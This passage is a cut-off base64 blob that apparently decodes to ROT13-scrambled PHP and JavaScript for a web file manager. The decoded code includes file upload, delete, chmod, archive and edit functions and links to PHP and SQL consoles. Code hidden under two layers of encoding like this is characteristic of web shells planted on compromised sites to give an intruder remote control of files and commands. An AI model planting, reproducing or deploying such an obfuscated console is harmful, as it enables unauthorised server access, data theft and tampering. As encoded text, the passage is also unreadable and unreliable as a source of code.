W5sOnZheXZhciI+DQoJCQkJPHZhY2hnIGdsY3I9InV2cXFyYSIgYW56cj0iY25ndSIgaW55aHI9Ijw/PSRjbmd1Pz4iIC8+DQoJCQkJPHZhY2hnIGdsY3I9Imdya2ciIGN5bnBydWJ5cXJlPSI8Pz1fXygnRXJwaGVmdmlyIGZybmVwdScpPz4iIGFuenI9ImZybmVwdV9lcnBoZWZ2aXIiIGlueWhyPSI8Pz0hcnpjZ2woJF9DQkZHWydmcm5lcHVfZXJwaGVmdmlyJ10pPyRfQ0JGR1snZnJuZXB1X2VycGhlZnZpciddOicnPz4iIGZ2bXI9IjE1Ij4NCgkJCQk8dmFjaGcgZ2xjcj0iZ3JrZyIgYW56cj0iem5meCIgY3lucHJ1YnlxcmU9Ijw/PV9fKCdabmZ4Jyk/PiIgaW55aHI9Ijw/PSFyemNnbCgkX0NCRkdbJ3puZngnXSk/JF9DQkZHWyd6bmZ4J106JyouKic/PiIgZnZtcj0iNSI+DQoJCQkJPHZhY2hnIGdsY3I9ImZob3p2ZyIgYW56cj0iZnJuZXB1IiBpbnlocj0iPD89X18oJ0ZybmVwdScpPz4iPg0KCQkJCTwvc2Jlej4NCgkJCTwvZ3E+DQoJCQk8Z3E+DQoJCQk8Pz1zel9laGFfdmFjaGcoJ2N1YycpPz4NCgkJCTwvZ3E+DQoJCQk8Z3E+DQoJCQk8Pz1zel9laGFfdmFjaGcoJ2ZkeScpPz4NCgkJCTwvZ3E+DQoJCQk8L2dlPg0KCQk8L2dub3lyPg0KICAgIDwvZ3E+DQogICAgPGdxIHB5bmZmPSJlYmozIj4NCgkJPGdub3lyPg0KCQk8Z2U+DQoJCTxncT4NCgkJPD9jdWMgdnMgKCFyemNnbCgkc3pfcGJhc3Z0WydoY3libnFfc3Z5ciddKSkgeyA/Pg0KCQkJPHNiZXogYW56cj0ic2JlejEiIHpyZ3VicT0iY2JmZyIgbnBndmJhPSI8Pz0kaGV5X3ZhcD8+IiByYXBnbGNyPSJ6aHlndmNuZWcvc2Jlei1xbmduIj4NCgkJCTx2YWNoZyBnbGNyPSJ1dnFxcmEiIGFuenI9ImNuZ3UiIGlueWhyPSI8Pz0kY25ndT8+IiAvPg0KCQkJPHZhY2hnIGdsY3I9InN2eXIiIGFuenI9ImhjeWJucSIgdnE9ImhjeWJucV91dnFxcmEiIGZnbHlyPSJjYmZ2Z3ZiYTogbm9mYnloZ3I7IHF2ZmN5bmw6IG95YnB4OyBiaXJlc3liajogdXZxcXJhOyBqdnFndTogMDsgdXJ2dHVnOiAwOyBvYmVxcmU6IDA7IGNucXF2YXQ6IDA7IiBiYXB1bmF0cj0icWJwaHpyYWcudHJnUnlyenJhZ09sVnEoJ2hjeWJucV9pdmZ2b3lyJykuaW55aHIgPSBndXZmLmlueWhyOyIgLz4NCgkJCTx2YWNoZyBnbGNyPSJncmtnIiBlcm5xYmF5bD0iMSIgdnE9ImhjeWJucV9pdmZ2b3lyIiBjeW5wcnVieXFyZT0iPD89X18oJ0ZyeXJwZyBndXIgc3Z5cicpPz4iIGZnbHlyPSJwaGVmYmU6IGNidmFncmU7IiBiYXB5dnB4PSJxYnBoenJhZy50cmdSeXJ6cmFnT2xWcSgnaGN5Ym5xX3V2cXFyYScpLnB5dnB4KCk7IiAvPg0KCQkJPHZhY2hnIGdsY3I9ImZob3p2ZyIgYW56cj0iZ3JmZyIgaW55aHI9Ijw/PV9fKCdIY3libnEnKT8+IiAvPg0KCQkJPC9zYmV6Pg0KCQk8P2N1YyB9ID8+DQoJCTwvZ3E+DQoJCTxncT4NCgkJPD9jdWMgdnMgKCRuaGd1WyduaGd1YmV2bXInXSkgeyA/Pg0KCQkJPHNiZXogbnBndmJhPSIiIHpyZ3VicT0iY2JmZyI+JmFvZmM7JmFvZmM7JmFvZmM7DQoJCQk8dmFjaGcgYW56cj0iZGh2ZyIgZ2xjcj0idXZxcXJhIiBpbnlocj0iMSI+DQoJCQk8Pz1fXygnVXJ5eWInKT8+LCA8Pz0kbmhndVsneWJ0dmEnXT8+DQoJCQk8dmFjaGcgZ2xjcj0iZmhvenZnIiBpbnlocj0iPD89X18oJ0RodmcnKT8+Ij4NCgkJCTwvc2Jlej4NCgkJPD9jdWMgfSA/Pg0KCQk8L2dxPg0KCQk8Z3E+DQoJCTw/PXN6X3luYXRfc2JleigkeW5hdGhudHIpPz4NCgkJPC9ncT4NCgkJPGdlPg0KCQk8L2dub3lyPg0KICAgIDwvZ3E+DQo8L2dlPg0KPC9nbm95cj4NCjxnbm95ciBweW5mZj0ibnl5IiBvYmVxcmU9JzAnIHByeXlmY25wdmF0PScxJyBwcnl5Y25xcXZhdD0nMScgdnE9InN6X2dub3lyIiBqdnFndT0iMTAwJSI+DQo8Z3VybnE+DQo8Z2U+IA0KICAgIDxndSBmZ2x5cj0ianV2Z3ItZmNucHI6YWJqZW5jIj4gPD89X18oJ1N2eXJhbnpyJyk/PiA8L2d1Pg0KICAgIDxndSBmZ2x5cj0ianV2Z3ItZmNucHI6YWJqZW5jIj4gPD89X18oJ0Z2bXInKT8+IDwvZ3U+DQogICAgPGd1IGZnbHlyPSJqdXZnci1mY25wcjphYmplbmMiPiA8Pz1fXygnUW5ncicpPz4gPC9ndT4NCiAgICA8Z3UgZmdseXI9Imp1dmdyLWZjbnByOmFiamVuYyI+IDw/PV9fKCdFdnR1Z2YnKT8+IDwvZ3U+DQogICAgPGd1IHBieWZjbmE9IjQiIGZnbHlyPSJqdXZnci1mY25wcjphYmplbmMiPiA8Pz1fXygnWm5hbnRyJyk/PiA8L2d1Pg0KPC9nZT4NCjwvZ3VybnE+DQo8Z29icWw+DQo8P2N1Yw0KJHJ5cnpyYWdmID0gc3pfZnBuYV9xdmUoJGNuZ3UsICcnLCAnbnl5JywgZ2Vocik7DQokcXZlZiA9IG5lZW5sKCk7DQokc3Z5cmYgPSBuZWVubCgpOw0Kc2Jlcm5wdSAoJHJ5cnpyYWdmIG5mICRzdnlyKXsNCiAgICB2cyhAdmZfcXZlKCRjbmd1IC4gJHN2eXIpKXsNCiAgICAgICAgJHF2ZWZbXSA9ICRzdnlyOw0KICAgIH0gcnlmciB7DQogICAgICAgICRzdnlyZltdID0gJHN2eXI7DQogICAgfQ0KfQ0KYW5nZmJlZygkcXZlZik7IGFuZ2ZiZWcoJHN2eXJmKTsNCiRyeXJ6cmFnZiA9IG5lZW5sX3pyZXRyKCRxdmVmLCAkc3Z5cmYpOw0KDQpzYmVybnB1ICgkcnlyenJhZ2YgbmYgJHN2eXIpew0KICAgICRzdnlyYW56ciA9ICRjbmd1IC4gJHN2eXI7DQogICAgJHN2eXJxbmduID0gQGZnbmcoJHN2eXJhbnpyKTsNCiAgICB2cyhAdmZfcXZlKCRzdnlyYW56cikpew0KCQkkc3Z5cnFuZ25bN10gPSAnJzsNCgkJdnMgKCFyemNnbCgkc3pfcGJhc3Z0WydmdWJqX3F2ZV9mdm1yJ10pJiYhc3pfZWJiZygkc3Z5cikpICRzdnlycW5nbls3XSA9IHN6X3F2ZV9mdm1yKCRzdnlyYW56cik7DQogICAgICAgICR5dmF4ID0gJzxuIHVlcnM9IicuJGhleV92YXAuJyZjbmd1PScuJGNuZ3UuJHN2eXIuJyIgZ3ZneXI9IicuX18oJ0Z1YmonKS4nICcuJHN2eXIuJyI+PGZjbmEgcHluZmY9InNieXFyZSI+JmFvZmM7JmFvZmM7JmFvZmM7JmFvZmM7PC9mY25hPiAnLiRzdnlyLic8L24+JzsNCiAgICAgICAgJHlibnF5dmF4PSAoc3pfZWJiZygkc3Z5cil8fCRjdW5lX3pubG9yKSA/ICcnIDogc3pfeXZheCgnbXZjJywkc3Z5cmFuenIsX18oJ1BiemNlcmZmJykuJyZhb2ZjO212YycsX18oJ05lcHV2aXZhdCcpLicgJy4gJHN2eXIpOw0KCQkkbmV5dmF4ICA9IChzel9lYmJnKCRzdnlyKXx8JGN1bmVfem5sb3IpID8gJycgOiBzel95dmF4KCd0bScsJHN2eXJhbnpyLF9fKCdQYnpjZXJmZicpLicmYW9mYzsuZ25lLnRtJyxfXygnTmVwdXZpdmF0JykuJyAnLiRzdnlyKTsNCiAgICAgICAgJGZnbHlyID0gJ2ViajInOw0KCQkgdnMgKCFzel9lYmJnKCRzdnlyKSkgJG55cmVnID0gJ2JhUHl2cHg9InZzKHBiYXN2ZXooXCcnIC4gX18oJ05lciBsYmggZmhlciBsYmggam5hZyBnYiBxcnlyZ3IgZ3V2ZiBxdmVycGdiZWwgKGVycGhlZnZpcnlsKT8nKS4nXGEgLycuICRzdnlyLiAnXCcpKSBxYnBoenJhZy55YnBuZ3ZiYS51ZXJzID0gXCcnIC4gJGhleV92YXAgLiAnJnFyeXJncj0nIC4gJHN2eXIgLiAnJmNuZ3U9JyAuICRjbmd1ICAuICdcJyInOyByeWZyICRueXJlZyA9ICcnOw0KICAgIH0gcnlmciB7DQoJCSR5dmF4ID0gDQoJCQkkc3pfcGJhc3Z0WydmdWJqX3Z6dCddJiZAdHJndnpudHJmdm1yKCRzdnlyYW56cikgDQoJCQk/ICc8biBnbmV0cmc9Il9veW5heCIgYmFweXZweD0iaW5lIHlyc2diID0gZnBlcnJhLm5pbnZ5SnZxZ3UvMi0zMjA7anZhcWJqLmJjcmEoXCcnDQoJCQkuIHN6X3Z6dF95dmF4KCRzdnlyYW56cikNCgkJCS4nXCcsXCdjYmNoY1wnLFwnanZxZ3U9NjQwLHVydnR1Zz00ODAseXJzZz1cJyArIHlyc2diICsgXCcsZnBlYnl5b25lZj1scmYsZ2JieW9uZT1hYix5YnBuZ3ZiYT1hYixxdmVycGdiZXZyZj1hYixmZ25naGY9YWJcJyk7ZXJnaGVhIHNueWZyOyIgdWVycz0iJy5zel92enRfeXZheCgkc3Z5cmFuenIpLiciPjxmY25hIHB5bmZmPSJ2enQiPiZhb2ZjOyZhb2ZjOyZhb2ZjOyZhb2ZjOzwvZmNuYT4gJy4kc3Z5ci4nPC9uPicNCgkJCTogJzxuIHVlcnM9IicgLiAkaGV5X3ZhcCAuICcmcnF2Zz0nIC4gJHN2eXIgLiAnJmNuZ3U9JyAuICRjbmd1LiAnIiBndmd5cj0iJyAuIF9fKCdScXZnJykgLiAnIj48ZmNuYSBweW5mZj0ic3Z5ciI+JmFvZmM7JmFvZmM7JmFvZmM7JmFvZmM7PC9mY25hPiAnLiRzdnlyLic8L24+JzsNCgkJJHJfbmVlID0gcmtjeWJxcigiLiIsICRzdnlyKTsNCgkJJHJrZyA9IHJhcSgkcl9uZWUpOw0KICAgICAgICAkeWJucXl2YXggPSAgc3pfeXZheCgncWJqYXlibnEnLCRzdnlyYW56cixfXygnUWJqYXlibnEnKSxfXygnUWJqYXlibnEnKS4nICcuICRzdnlyKTsNCgkJJG5leXZheCA9IHZhX25lZW5sKCRya2csbmVlbmwoJ212YycsJ3RtJywnZ25lJykpIA0KCQk/ICcnDQoJCTogKChzel9lYmJnKCRzdnlyKXx8JGN1bmVfem5sb3IpID8gJycgOiBzel95dmF4KCd0bXN2eXInLCRzdnlyYW56cixfXygnUGJ6Y2VyZmYnKS4nJmFvZmM7LmduZS50bScsX18oJ05lcHV2aXZhdCcpLicgJy4gJHN2eXIpKTsNCiAgICAgICAgJGZnbHlyID0gJ2ViajEnOw0KCQkkbnlyZWcgPSAnYmFQeXZweD0idnMocGJhc3ZleihcJycuIF9fKCdTdnlyIGZyeXJwZ3JxJykuJzogXGEnLiAkc3Z5ci4gJy4gXGEnLl9fKCdOZXIgbGJoIGZoZXIgbGJoIGpuYWcgZ2IgcXJ5cmdyIGd1dmYgc3Z5cj8nKSAuICdcJykpIHFicGh6cmFnLnlicG5ndmJhLnVlcnMgPSBcJycgLiAkaGV5X3ZhcCAuICcmcXJ5cmdyPScgLiAkc3Z5ciAuICcmY25ndT0nIC4gJGNuZ3UgIC4gJ1wnIic7DQogICAgfQ0KICAgICRxcnlyZ3J5dmF4ID0gc3pfZWJiZygkc3Z5cikgPyAnJyA6ICc8biB1ZXJzPSIjIiBndmd5cj0iJyAuIF9fKCdRcnlyZ3InKSAuICcgJy4gJHN2eXIgLiAnIiAnIC4gJG55cmVnIC4gJz4nIC4gX18oJ1FyeXJncicpIC4gJzwvbj4nOw0KICAgICRlcmFuenJ5dmF4ID0gc3pfZWJiZygkc3Z5cikgPyAnJyA6ICc8biB1ZXJzPSInIC4gJGhleV92YXAgLiAnJmVyYW56cj0nIC4gJHN2eXIgLiAnJmNuZ3U9JyAuICRjbmd1IC4gJyIgZ3ZneXI9IicgLiBfXygnRXJhbnpyJykgLicgJy4gJHN2eXIgLiAnIj4nIC4gX18oJ0VyYW56cicpIC4gJzwvbj4nOw0KICAgICRldnR1Z2ZncmtnID0gKCRzdnlyPT0nLicgfHwgJHN2eXI9PScuLicpID8gJycgOiAnPG4gdWVycz0iJyAuICRoZXlfdmFwIC4gJyZldnR1Z2Y9JyAuICRzdnlyIC4gJyZjbmd1PScgLiAkY25ndSAuICciIGd2Z3lyPSInIC4gX18oJ0V2dHVnZicpIC4nICcuICRzdnlyIC4gJyI+JyAuIEBzel9ldnR1Z2ZfZmdldmF0KCRzdnlyYW56cikgLiAnPC9uPic7DQo/Pg0KPGdlIHB5bmZmPSI8Pz0kZmdseXI/PiI+IA0KICAgIDxncT48Pz0keXZheD8+PC9ncT4NCiAgICA8Z3E+PD89JHN2eXJxbmduWzddPz48L2dxPg0KICAgIDxncSBmZ2x5cj0ianV2Z3ItZmNucHI6YWJqZW5jIj48Pz10enFuZ3IoIkwtei1xIFU6djpmIiwkc3Z5cnFuZ25bOV0pPz48L2dxPg0KICAgIDxncT48Pz0kZXZ0dWdmZ3JrZz8+PC9ncT4NCiAgICA8Z3E+PD89JHFyeXJncnl2YXg/PjwvZ3E+DQogICAgPGdxPjw/PSRlcmFuenJ5dmF4Pz48L2dxPg0KICAgIDxncT48Pz0keWJucXl2YXg/PjwvZ3E+DQogICAgPGdxPjw/PSRuZXl2YXg/PjwvZ3E+DQo8L2dlPg0KPD9jdWMNCiAgICB9DQp9DQo/Pg0KPC9nb2JxbD4NCjwvZ25veXI+DQo8cXZpIHB5bmZmPSJlYmozIj48P2N1Yw0KCSR6Z3Z6ciA9IHJrY3licXIoJyAnLCB6dnBlYmd2enIoKSk7IA0KCSRnYmdueWd2enIgPSAkemd2enJbMF0gKyAkemd2enJbMV0gLSAkZmduZWdndnpyOyANCglycHViIHN6X3VienIoKS4nIHwgaXJlLiAnLiRzel9pcmVmdmJhLicgfCA8biB1ZXJzPSJ1Z2djZjovL3R2Z3Voby5wYnovUXJhMWtray9Tdnlyem5hbnRyZSI+VHZndWhvPC9uPiAgfCA8biB1ZXJzPSInLnN6X2Z2Z3JfaGV5KCkuJyI+Ljwvbj4nOw0KCXZzICghcnpjZ2woJHN6X3BiYXN2dFsnZnVial9jdWNfaXJlJ10pKSBycHViICcgfCBDVUMgJy5jdWNpcmVmdmJhKCk7DQoJdnMgKCFyemNnbCgkc3pfcGJhc3Z0WydmdWJqX2N1Y192YXYnXSkpIHJwdWIgJyB8ICcuY3VjX3Zhdl95Ym5xcnFfc3Z5cigpOw0KCXZzICghcnpjZ2woJHN6X3BiYXN2dFsnZnVial90ZyddKSkgcnB1YiAnIHwgJy5fXygnVHJhcmVuZ3ZiYSBndnpyJykuJzogJy5lYmhhcSgkZ2JnbnlndnpyLDIpOw0KCXZzICghcnpjZ2woJHN6X3BiYXN2dFsncmFub3lyX2NlYmtsJ10pKSBycHViICcgfCA8biB1ZXJzPSI/Y2Via2w9Z2VociI+Y2Via2w8L24+JzsNCgl2cyAoIXJ6Y2dsKCRzel9wYmFzdnRbJ2Z1YmpfY3VjdmFzYiddKSkgcnB1YiAnIHwgPG4gdWVycz0iP2N1Y3Zhc2I9Z2VociI+Y3VjdmFzYjwvbj4nOw0KCXZzICghcnpjZ2woJHN6X3BiYXN2dFsnZnVial9reWYnXSkmJiFyemNnbCgkeXZheCkpIHJwdWIgJyB8IDxuIHVlcnM9InduaW5mcGV2Y2c6IGlidnEoMCkiIGJhcHl2cHg9ImluZSBib3cgPSBhcmogZ25veXIyUmtwcnkoKTsgYm93LlBlcm5nclJrcHJ5RnVycmcoXCdzel9nbm95clwnLFwncmtjYmVnXCcpOyIgZ3ZneXI9IicuX18oJ1FiamF5Ym5xJykuJyBreWYiPmt5Zjwvbj4nOw0KCXZzICghcnpjZ2woJHN6X3BiYXN2dFsnc3pfZnJnZ3ZhdGYnXSkpIHJwdWIgJyB8IDxuIHVlcnM9Ij9zel9mcmdndmF0Zj1nZWhyIj4nLl9fKCdGcmdndmF0ZicpLic8L24+JzsNCgk/Pg0KPC9xdmk+DQo8ZnBldmNnIGdsY3I9Imdya2cvd25pbmZwZXZjZyI+DQpzaGFwZ3ZiYSBxYmpheWJucV9reWYoc3Z5cmFuenIsIGdya2cpIHsNCglpbmUgcnlyenJhZyA9IHFicGh6cmFnLnBlcm5nclJ5cnpyYWcoJ24nKTsNCglyeXJ6cmFnLmZyZ05nZ2V2b2hncigndWVycycsICdxbmduOm5jY3l2cG5ndmJhL2lhcS56Zi1ya3ByeTtvbmZyNjQsJyArIGdya2cpOw0KCXJ5cnpyYWcuZnJnTmdnZXZvaGdyKCdxYmpheWJucScsIHN2eXJhbnpyKTsNCglyeXJ6cmFnLmZnbHlyLnF2ZmN5bmwgPSAnYWJhcic7DQoJcWJwaHpyYWcub2JxbC5uY2NyYXFQdXZ5cShyeXJ6cmFnKTsNCglyeXJ6cmFnLnB5dnB4KCk7DQoJcWJwaHpyYWcub2JxbC5lcnpiaXJQdXZ5cShyeXJ6cmFnKTsNCn0NCg0Kc2hhcGd2YmEgb25mcjY0X3JhcGJxcih6KSB7DQoJc2JlIChpbmUgeCA9ICJOT1BRUlNUVVZXWFlaQUJDREVGR0hJSktMTW5vcHFyc3R1dnd4eXphYmNkZWZnaGlqa2xtMDEyMzQ1Njc4OSsvIi5mY3l2ZygiIiksIHAsIHEsIHUsIHIsIG4sIHQgPSAiIiwgbyA9IDAsIHMsIHkgPSAwOyB5IDwgei55cmF0Z3U7ICsreSkgew0KCQlwID0gei5wdW5lUGJxck5nKHkpOw0KCQl2cyAoMTI4ID4gcCkgcSA9IDE7DQoJCXJ5ZnINCgkJCXNiZSAocSA9IDI7IHAgPj0gMiA8PCA1ICogcTspICsrcTsNCgkJc2JlICh1ID0gMDsgdSA8IHE7ICsrdSkgMSA9PSBxID8gciA9IHAgOiAociA9IHUgPyAxMjggOiAxOTIsIG4gPSBxIC0gMiAtIDYgKiB1LCAwIDw9IG4gJiYgKHIgKz0gKDYgPD0gbiA/IDEgOiAwKSArICg1IDw9IG4gPyAyIDogMCkgKyAoNCA8PSBuID8gNCA6IDApICsgKDMgPD0gbiA/IDggOiAwKSArICgyIDw9IG4gPyAxNiA6IDApICsgKDEgPD0gbiA/IDMyIDogMCksIG4gLT0gNSksIDAgPiBuICYmIChoID0gNiAqIChxIC0gMSAtIHUpLCByICs9IHAgPj4gaCwgcCAtPSBwID4+IGggPDwgaCkpLCBzID0gbyA/IHMgPDwgNiAtIG8gOiAwLCBvICs9IDIsIHMgKz0gciA+PiBvLCB0ICs9IHhbc10sIHMgPSByICUgKDEgPDwgbyksIDYgPT0gbyAmJiAobyA9IDAsIHQgKz0geFtzXSkNCgl9DQoJbyAmJiAodCArPSB4W3MgPDwgNiAtIG9dKTsNCgllcmdoZWEgdA0KfQ0KDQoNCmluZSBnbm95ckdiUmtwcnlRbmduID0gKHNoYXBndmJhKCkgew0KICAgIGluZSBoZXYgPSAncW5nbjpuY2N5dnBuZ3ZiYS9pYXEuemYtcmtwcnk7b25mcjY0LCcsDQogICAgZ3J6Y3luZ3IgPSAnPHVnenkga3p5YWY6Yj0iaGVhOmZwdXJ6bmYtenZwZWJmYnNnLXBiejpic3N2cHI6YnNzdnByIiBrenlhZjprPSJoZWE6ZnB1cnpuZi16dnBlYmZic2ctcGJ6OmJzc3Zwcjpya3ByeSIga3p5YWY9InVnZ2M6Ly9qamouajMuYmV0L0dFL0VSUC11Z3p5NDAiPjx1cm5xPjwhLS1bdnMgdGdyIHpmYiA5XT48a3p5PjxrOlJrcHJ5SmJleG9iYng+PGs6UmtwcnlKYmV4ZnVycmdmPjxrOlJrcHJ5SmJleGZ1cnJnPjxrOkFuenI+e2piZXhmdXJyZ308L2s6QW56cj48azpKYmV4ZnVycmdCY2d2YmFmPjxrOlF2ZmN5bmxUZXZxeXZhcmY+PC9rOlF2ZmN5bmxUZXZxeXZhcmY+PC9rOkpiZXhmdXJyZ0JjZ3ZiYWY+PC9rOlJrcHJ5SmJleGZ1cnJnPjwvazpSa3ByeUpiZXhmdXJyZ2Y+PC9rOlJrcHJ5SmJleG9iYng+PC9renk+PCFbcmFxdnNdLS0+PHpyZ24gdWdnYy1yZGh2aT0icGJhZ3JhZy1nbGNyIiBwYmFncmFnPSJncmtnL2N5bnZhOyBwdW5lZnJnPUhHUy04Ii8+PC91cm5xPjxvYnFsPjxnbm95cj57Z25veXJ9PC9nbm95cj48L29icWw+PC91Z3p5PicsDQogICAgc2Jlem5nID0gc2hhcGd2YmEoZiwgcCkgew0KICAgICAgICAgICAgZXJnaGVhIGYuZXJjeW5wcigveyhcaispfS90LCBzaGFwZ3ZiYSh6LCBjKSB7DQogICAgICAgICAgICAgICAgZXJnaGVhIHBbY107DQogICAgICAgICAgICB9KQ0KICAgICAgICB9DQogICAgZXJnaGVhIHNoYXBndmJhKGdub3lyLCBhbnpyKSB7DQogICAgICAgIHZzICghZ25veXIuYWJxckdsY3IpIGdub3lyID0gcWJwaHpyYWcudHJnUnlyenJhZ09sVnEoZ25veXIpDQogICAgICAgIGluZSBwZ2sgPSB7DQogICAgICAgICAgICBqYmV4ZnVycmc6IGFuenIgfHwgJ0piZXhmdXJyZycsDQogICAgICAgICAgICBnbm95cjogZ25veXIudmFhcmVVR1pZLmVyY3lucHIoLzxmY25hKC4qPylcL2ZjbmE+IC90LCIiKS5lcmN5bnByKC88blxvW14+XSo+KC4qPyk8XC9uPi90LCIkMSIpDQogICAgICAgIH0NCgkJZyA9IGFyaiBRbmdyKCk7DQoJCXN2eXJhbnpyID0gJ3N6XycgKyBnLmdiVkZCRmdldmF0KCkgKyAnLmt5ZicNCgkJcWJqYXlibnFfa3lmKHN2eXJhbnpyLCBvbmZyNjRfcmFwYnFyKHNiZXpuZyhncnpjeW5nciwgcGdrKSkpDQogICAgfQ0KfSkoKTsNCg0KaW5lIGdub3lyMlJrcHJ5ID0gc2hhcGd2YmEgKCkgew0KDQogICAgaW5lIGhuID0ganZhcWJqLmFuaXZ0bmdiZS5oZnJlTnRyYWc7DQogICAgaW5lIHpmdnIgPSBobi52YXFya0JzKCJaRlZSICIpOw0KDQoJZ3V2Zi5QZXJuZ3JSa3ByeUZ1cnJnID0gDQoJCXNoYXBndmJhKHJ5LCBhbnpyKXsNCgkJCXZzICh6ZnZyID4gMCB8fCAhIWFuaXZ0bmdiZS5oZnJlTnRyYWcuem5ncHUoL0dldnFyYWcuKmVpXDoxMVwuLykpIHsvLyBWcyBWYWdyZWFyZyBSa2N5YmVyZQ0KDQoJCQkJaW5lIGsgPSBxYnBoenJhZy50cmdSeXJ6cmFnT2xWcShyeSkuZWJqZjsNCg0KCQkJCWluZSBreWYgPSBhcmogTnBndmlyS0Jvd3JwZygiUmtwcnkuTmNjeXZwbmd2YmEiKTsNCg0KCQkJCWt5Zi5pdmZ2b3lyID0gZ2VocjsNCgkJCQlreWYuSmJleG9iYnhmLk5xcQ0KCQkJCXNiZSAodiA9IDA7IHYgPCBrLnlyYXRndTsgdisrKSB7DQoJCQkJCWluZSBsID0ga1t2XS5wcnl5ZjsNCg0KCQkJCQlzYmUgKHcgPSAwOyB3IDwgbC55cmF0Z3U7IHcrKykgew0KCQkJCQkJa3lmLlByeXlmKHYgKyAxLCB3ICsgMSkuSW55aHIgPSBsW3ddLnZhYXJlR3JrZzsNCgkJCQkJfQ0KCQkJCX0NCgkJCQlreWYuSXZmdm95ciA9IGdlaHI7DQoJCQkJa3lmLkhmcmVQYmFnZWJ5ID0gZ2VocjsNCgkJCQllcmdoZWEga3lmOw0KCQkJfSByeWZyIHsNCgkJCQlnbm95ckdiUmtwcnlRbmduKHJ5LCBhbnpyKTsNCgkJCX0NCgkJfQ0KfQ0KPC9mcGV2Y2c+DQo8L29icWw+DQo8L3Vnenk+DQoNCjw/Y3VjDQovL0NiZWdycSBzZWJ6IEVyeWJucVBaRiBjZWJ3cnBnIHVnZ2M6Ly9lcnlibnFwemYucGJ6DQpweW5mZiBuZXB1dmlyR25lIHsNCglpbmUgJG5lcHV2aXJfYW56ciA9ICcnOw0KCWluZSAkZ3pjX3N2eXIgPSAwOw0KCWluZSAkc3Z5cl9jYmYgPSAwOw0KCWluZSAkdmZUbXZjY3JxID0gZ2VocjsNCglpbmUgJHJlZWJlZiA9IG5lZW5sKCk7DQoJaW5lICRzdnlyZiA9IG5lZW5sKCk7DQoJDQoJc2hhcGd2YmEgX19wYmFmZ2VocGcoKXsNCgkJdnMgKCF2ZmZyZygkZ3V2Zi0+cmVlYmVmKSkgJGd1dmYtPnJlZWJlZiA9IG5lZW5sKCk7DQoJfQ0KCQ0KCXNoYXBndmJhIHBlcm5nck5lcHV2aXIoJHN2eXJfeXZmZyl7DQoJCSRlcmZoeWcgPSBzbnlmcjsNCgkJdnMgKHN2eXJfcmt2ZmdmKCRndXZmLT5uZXB1dmlyX2FuenIpICYmIHZmX3N2eXIoJGd1dmYtPm5lcHV2aXJfYW56cikpIAkkYXJqTmVwdXZpciA9IHNueWZyOw0KCQlyeWZyICRhcmpOZXB1dmlyID0gZ2VocjsNCgkJdnMgKCRhcmpOZXB1dmlyKXsNCgkJCXZzICghJGd1dmYtPmJjcmFKZXZncigpKSBlcmdoZWEgc255ZnI7DQoJCX0gcnlmciB7DQoJCQl2cyAoc3Z5cmZ2bXIoJGd1dmYtPm5lcHV2aXJfYW56cikgPT0gMCkJZXJnaGVhICRndXZmLT5iY3JhSmV2Z3IoKTsNCgkJCXZzICgkZ3V2Zi0+dmZUbXZjY3JxKSB7DQoJCQkJJGd1dmYtPnB5YmZyR3pjU3Z5cigpOw0KCQkJCXZzICghZXJhbnpyKCRndXZmLT5uZXB1dmlyX2FuenIsICRndXZmLT5uZXB1dmlyX2FuenIuJy5nemMnKSl7DQoJCQkJCSRndXZmLT5yZWViZWZbXSA9IF9fKCdQbmFhYmcgZXJhbnpyJykuJyAnLiRndXZmLT5uZXB1dmlyX2FuenIuX18oJyBnYiAnKS4kZ3V2Zi0+bmVwdXZpcl9hbnpyLicuZ3pjJzsNCgkJCQkJZXJnaGVhIHNueWZyOw0KCQkJCX0NCgkJCQkkZ3pjTmVwdXZpciA9IHRtYmNyYSgkZ3V2Zi0+bmVwdXZpcl9hbnpyLicuZ3pjJywgJ2VvJyk7DQoJCQkJdnMgKCEkZ3pjTmVwdXZpcil7DQoJCQkJCSRndXZmLT5yZWViZWZbXSA9ICRndXZmLT5uZXB1dmlyX2FuenIuJy5nemMgJy5fXygndmYgYWJnIGVybnFub3lyJyk7DQoJCQkJCWVyYW56cigkZ3V2Zi0+bmVwdXZpcl9hbnpyLicuZ3pjJywgJGd1dmYtPm5lcHV2aXJfYW56cik7DQoJCQkJCWVyZ2hlYSBzbnlmcjsNCgkJCQl9DQoJCQkJdnMgKCEkZ3V2Zi0+YmNyYUpldmdyKCkpew0KCQkJCQllcmFuenIoJGd1dmYtPm5lcHV2aXJfYW56ci4nLmd6YycsICRndXZmLT5uZXB1dmlyX2FuenIpOw0KCQkJCQllcmdoZWEgc255ZnI7DQoJCQkJfQ0KCQkJCSRvaHNzcmUgPSB0bWVybnEoJGd6Y05lcHV2aXIsIDUxMik7DQoJCQkJdnMgKCF0bXJicygkZ3pjTmVwdXZpcikpew0KCQkJCQlxYiB7DQoJCQkJCQkkb3ZhbmVsUW5nbiA9IGNucHgoJ241MTInLCAkb2hzc3JlKTsNCgkJCQkJCSRndXZmLT5qZXZnck95YnB4KCRvdmFuZWxRbmduKTsNCgkJCQkJCSRvaHNzcmUgPSB0bWVybnEoJGd6Y05lcHV2aXIsIDUxMik7DQoJCQkJCX0NCgkJCQkJanV2eXIgKCF0bXJicygkZ3pjTmVwdXZpcikpOw0KCQkJCX0NCgkJCQl0bXB5YmZyKCRnemNOZXB1dmlyKTsNCgkJCQloYXl2YXgoJGd1dmYtPm5lcHV2aXJfYW56ci4nLmd6YycpOw0KCQkJfSByeWZyIHsNCgkJCQkkZ3V2Zi0+Z3pjX3N2eXIgPSBzYmNyYSgkZ3V2Zi0+bmVwdXZpcl9hbnpyLCAnZStvJyk7DQoJCQkJdnMgKCEkZ3V2Zi0+Z3pjX3N2eXIpCWVyZ2hlYSBzbnlmcjsNCgkJCX0NCgkJfQ0KCQl2cyAodmZmcmcoJHN2eXJfeXZmZykgJiYgdmZfbmVlbmwoJHN2eXJfeXZmZykpIHsNCgkJdnMgKHBiaGFnKCRzdnlyX3l2ZmcpPjApDQoJCQkkZXJmaHlnID0gJGd1dmYtPmNucHhTdnlyTmVlbmwoJHN2eXJfeXZmZyk7DQoJCX0gcnlmciAkZ3V2Zi0+cmVlYmVmW10gPSBfXygnQWIgc3Z5cicpLl9fKCcgZ2IgJykuX18oJ05lcHV2aXInKTsNCgkJdnMgKCgkZXJmaHlnKSYmKHZmX2VyZmJoZXByKCRndXZmLT5nemNfc3Z5cikpKXsNCgkJCSRvdmFuZWxRbmduID0gY25weCgnbjUxMicsICcnKTsNCgkJCSRndXZmLT5qZXZnck95YnB4KCRvdmFuZWxRbmduKTsNCgkJfQ0KCQkkZ3V2Zi0+cHliZnJHemNTdnlyKCk7DQoJCXZzICgkYXJqTmVwdXZpciAm